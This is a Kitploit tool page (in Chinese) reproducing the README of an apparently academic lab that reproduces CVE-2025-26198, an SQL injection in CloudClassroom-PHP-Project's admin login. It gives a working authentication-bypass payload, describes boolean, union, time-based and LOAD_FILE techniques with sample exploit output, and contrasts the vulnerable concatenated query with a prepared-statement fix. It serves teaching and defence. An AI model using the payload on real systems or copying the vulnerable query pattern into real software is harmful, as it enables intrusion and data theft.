Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/wailyacoubi9/cve-2025-26198
漏洞分析Web应用程序漏洞利用渗透测试身份验证学习与教育数据库安全
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

CVE-2025-26198在CloudClassroom-PHP-Project中SQL注入的教学复现,演示四种利用技术(布尔、联合、时间、文件读取),并附带补丁版本对比。

查看仓库
17个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-26198 - SQL注入演示

ENSIMAG学术项目 - 3A安全
作者:Wail Yacoubi, Mohammed-Yassine Akhmari
日期:2026年1月


警告

此代码有意包含漏洞,仅供教育用途。
切勿部署到生产环境。


描述

复现CVE-2025-26198:CloudClassroom-PHP-Project v1.0中的严重SQL注入漏洞。

CVE特征:

  • 标识符:CVE-2025-26198
  • CVSS评分:9.8/10(严重)
  • 类型:SQL注入(CWE-89)
  • 受漏洞组件:loginlinkadmin.php
  • 影响:认证绕过 + 完全数据库提取

官方参考:https://nvd.nist.gov/vuln/detail/CVE-2025-26198


目标

演示4种SQL注入利用技术:

  1. 布尔型 - 认证绕过
  2. 联合查询 - 数据提取
  3. 基于时间的盲注 - 通过延迟检测
  4. 文件读取 - 读取系统文件

安装

前提条件

  • Docker和Docker Compose
  • Python 3.x
  • 安装requests:pip install requests

启动

root@kitploit:~
# 克隆仓库
git clone <votre-repo>
cd CVE-2025-26198

# 启动基础设施
docker-compose up -d

# 等待MySQL就绪(30秒)
sleep 30

# 检查容器
docker-compose ps

应用可通过http://localhost:8081访问


利用

方法1:手动(浏览器)

  1. 访问http://localhost:8081

  2. 填写表单:

    • 用户名:admin' OR '1'='1'-- -
    • 密码:anything
  3. 点击登录

结果:管理员登录成功,无需有效密码。

说明:

有效载荷将SQL查询转换为:

root@kitploit:~
-- 正常查询
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- 注入后的查询
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

OR '1'='1'始终为真,-- -注释掉其余部分。


方法2:Python脚本

简单脚本

root@kitploit:~
python exploit_simple.py http://localhost:8081

预期输出:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

完整脚本(4种技术)

root@kitploit:~
python exploit.py http://localhost:8081

预期输出:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

已修补版本

使用预处理语句测试安全版本:

root@kitploit:~
# 启用已修补版本
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# 重新测试漏洞利用
python exploit_simple.py http://localhost:8081

预期结果:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

攻击被输入验证和预处理语句阻止。

恢复有漏洞版本:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

版本比较

有漏洞代码:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

安全代码:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

项目结构

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # 有漏洞版本
│   ├── loginlinkadmin_PATCHED.php  # 安全版本
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

故障排除

Web容器无法启动

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

漏洞利用无效

root@kitploit:~
# 检查MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# 检查web服务
curl http://localhost:8081

# 检查当前版本
head -n 2 app/loginlinkadmin.php

端口已被占用

修改docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

文档

参见RAPPORT.md了解详细分析,包括:

  • 漏洞机制
  • 系统架构
  • 安全加固建议
  • 开发最佳实践

参考

  • 官方CVE:https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • 原始项目:https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL注入:https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO:https://www.php.net/manual/en/pdo.prepared-statements.php

免责声明

本项目仅出于教育目的,在ENSIMAG网络安全课程框架下开发。

允许用途:

  • 学习与培训
  • 在授权环境中的测试

禁止用途:

  • 攻击真实系统
  • 恶意使用

任何超出学术范围的使用均被严格禁止且违法。


作者
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026届
课程:3A安全

下载工具
方面有漏洞版本已修补版本
SQL查询直接拼接PDO预处理语句
输入验证无字母数字正则
输出转义否htmlspecialchars()
SQL注入可利用已阻止
日志无error_log()